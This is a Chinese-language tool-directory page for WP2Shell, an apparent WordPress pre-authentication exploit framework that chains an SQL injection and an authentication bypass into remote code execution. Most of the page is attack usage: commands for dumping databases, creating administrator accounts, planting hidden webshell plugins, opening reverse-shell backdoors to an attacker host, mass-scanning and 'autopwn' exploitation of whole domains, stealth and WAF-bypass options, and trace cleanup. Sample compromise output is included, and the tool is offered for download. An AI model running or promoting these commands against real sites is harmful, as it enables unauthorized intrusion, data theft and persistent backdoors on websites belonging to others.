Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
WP2Shell — 模块化 WordPress 预认证漏洞利用框架,链式组合 SQL 注入与身份验证绕过,以实现远程代码执行、交互式 Shell、后门植入和大规模漏洞扫描。 | Kitploit
工具/GitHubGitHub/g0d150ne/wp2shell
渗透测试框架侦察漏洞扫描器漏洞利用框架持久化机制漏洞利用Web应用程序漏洞利用WAF绕过远程访问工具Payload 开发
GitHubg0d150ne/wp2shell

WP2Shell

729天前尚未审核

模块化 WordPress 预认证漏洞利用框架,链式组合 SQL 注入与身份验证绕过,以实现远程代码执行、交互式 Shell、后门植入和大规模漏洞扫描。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

WP2Shell - WordPress 预认证 RCE 漏洞利用工具

CVE-2026-63030 + CVE-2026-60137
版本: 4.0.0
作者: G0D150NE

📌 概述

WP2Shell 是一款针对 WordPress 预认证远程代码执行的全链路漏洞利用工具,它组合了两个严重漏洞:

  • CVE-2026-63030 - REST API 批量端点中的 SQL 注入
  • CVE-2026-60137 - 通过 oEmbed 缓存投毒绕过身份验证

该工具允许在无需任何身份验证的情况下完全攻陷存在漏洞的 WordPress 站点——从检测到完整的 RCE 与持久化。

⚡ 功能特性

  • 🔍 非破坏性检测 - 安全确认漏洞
  • 📊 多技术数据提取 - UNION、报错、盲注 SQLi
  • 🚀 完整 RCE 链条 - 从 SQLi 到创建管理员账户
  • 🐚 Webshell 部署 - 基于插件的隐藏后门
  • 🧹 清理功能 - 清除所有痕迹
  • 📡 批量扫描 - 多线程扫描器,支持多个目标
  • 🤖 自动攻破模式 - 子域名发现 + 自动利用
  • 🌐 代理轮换 - 支持轮换代理
  • 🕵️ 隐身模式 - 随机延迟与 WAF 绕过技术

🔧 安装

root@kitploit:~
# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell

# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py

🎯 使用方法

命令结构

root@kitploit:~
python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]

可用命令

命令描述
check非破坏性漏洞确认
read通过 SQL 注入提取数据
exploit完整预认证 RCE 攻击链
shell使用已有凭据部署 webshell
masscan批量扫描多个目标
autopwn自动发现 → 扫描 → 利用

🚀 示例

1. 漏洞检测

root@kitploit:~
python3 wp2shell.py check https://target.com
root@kitploit:~
python3 wp2shell.py check https://target.com --confirm-timing --sleep 5

2. 数据提取

基本指纹获取:

root@kitploit:~
python3 wp2shell.py read https://target.com

提取用户:

root@kitploit:~
python3 wp2shell.py read https://target.com --preset users

自定义查询:

root@kitploit:~
python3 wp2shell.py read https://target.com --query "SELECT @@version"

导出整个数据库:

root@kitploit:~
python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096

3. 完整利用

基础利用:

root@kitploit:~
python3 wp2shell.py exploit https://target.com

利用并进入交互式 Shell:

root@kitploit:~
python3 wp2shell.py exploit https://target.com --interactive

利用并安装后门:

root@kitploit:~
python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444

利用并导出数据库:

root@kitploit:~
python3 wp2shell.py exploit https://target.com --dumpdb

利用后清理(清除痕迹):

root@kitploit:~
python3 wp2shell.py exploit https://target.com --cleanup

4. 使用现有管理员凭据

root@kitploit:~
python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive
root@kitploit:~
python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"

5. 批量扫描

root@kitploit:~
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv

6. 自动攻破模式(全自动化)

root@kitploit:~
python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100

此模式将执行以下操作:

  1. 通过 crt.sh 发现子域名
  2. 识别 WordPress 安装
  3. 利用所有存在漏洞的站点
  4. 在成功的目标上安装后门

🎮 交互式 Shell

利用完成后,你将获得一个完整的交互式 Shell:

root@kitploit:~
python3 wp2shell.py exploit https://target.com -i
root@kitploit:~
[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit

🛡️ 选项参考

常用选项

选项描述
--timeoutHTTP 超时时间(秒,默认:30)
--proxies逗号分隔的代理列表(例如:http://127.0.0.1:8080)
--stealth启用带随机延迟的隐身模式
-v, --verbose启用调试输出
-q, --quiet抑制横幅和信息消息

read 命令选项

选项描述
--prefix表前缀(默认:wp_)
--auto-prefix自动发现表前缀
--max-length每个值的最大字符数(默认:128)
--technique提取技术:auto/union/error/blind
--preset数据预设:fingerprint/users/dumpall
--query要提取的任意 SQL 表达式

exploit 命令选项

选项描述
--prefix表前缀(默认:wp_)
--no-discover跳过自动发现,使用默认值
-i, --interactive利用完成后进入 Shell
-c, --command利用完成后执行单条命令
--backdoor安装持久化后门
--lhost反弹 Shell 的 LHOST(默认:10.0.0.1)
--lport反弹 Shell 的 LPORT(默认:4444)
--dumpdb利用完成后导出数据库
--cleanup退出时删除创建的用户和 webshell

🔬 技术细节

漏洞链

  1. SQL 注入(CVE-2026-63030)

    • 发生在 /wp-json/batch/v1 端点
    • author_exclude 参数存在基于时间的盲注 SQLi 漏洞
    • 支持 UNION 和基于报错的数据提取
  2. 身份验证绕过(CVE-2026-60137)

    • 通过 /_embed 参数进行 oEmbed 缓存投毒
    • 允许通过定制器变更集创建管理员用户
    • 触发重入链以创建特权账户

受支持的 WordPress 版本

版本状态
6.9.0✅ 存在漏洞
6.9.1✅ 存在漏洞
6.9.2✅ 存在漏洞
6.9.3✅ 存在漏洞
6.9.4✅ 存在漏洞
7.0.0✅ 存在漏洞
7.0.1✅ 存在漏洞
≥ 7.0.2❌ 已修补

数据提取技术

技术速度数据大小要求
UNION⚡ 非常快无限制目标不得过滤 UNION
Error🚀 快约 30 字符/请求目标必须暴露错误消息
Blind🐢 慢无限制布尔盲注条件可用

📊 输出示例

利用成功示例

root@kitploit:~
░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░      ░▒▓█▓▒░        
                                                                                                                                                                                                                            
  CVE-2026-63030 + CVE-2026-60137
  WordPress Pre-Auth RCE  [v4.0.0]
  + G0D150NE

[1/7] Reconnaissance
  Target: https://target.com
  WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)

[2/7] Enumerating target
[+] Discovered table prefix: wp_

[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/

[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered

[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]

[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain

[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
  uid: www-data

[+] ========================================================
[+]   TARGET COMPROMISED
[+]   Admin:  wp_service_a1b2 / G7hK9xQw2p$L!mN
[+]   Shell:  https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================

⚠️ 免责声明

本工具仅用于授权的安全测试和教育目的。未经明确许可对系统进行使用属于违法行为。作者对任何滥用行为不承担任何责任。

📚 参考资料

  • CVE-2026-63030
  • CVE-2026-60137
  • WordPress 安全公告
  • WP2Shell 技术博客

🤝 贡献

发现 Bug?想要改进该工具?欢迎提交 Pull Request!

  1. Fork 该仓库
  2. 创建你的功能分支
  3. 提交你的更改
  4. 推送到分支
  5. 打开 Pull Request

📄 许可证

MIT 许可证 - 详情请参阅 LICENSE 文件。

下载工具